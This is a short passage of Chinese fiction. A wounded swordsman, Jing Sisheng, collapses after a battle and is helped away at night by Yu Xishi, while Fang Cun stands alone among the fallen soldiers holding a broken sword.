待最后一人倒地,景饲生终于支撑不住,单膝跪地,剑尖插入泥土才勉强稳住身形。他浑身是血,呼吸粗重,眼前被血色模糊,耳中一阵嗡鸣。 正此时,感觉到一双手将他扶起。 “撑住。”虞戏时道。 夜色吞没了二人的身影,只余满地横七竖八的府兵,和独立原地的方存。 方存望着他们离去的方向,攥紧断剑的手徒劳使力,最终,颓然松开。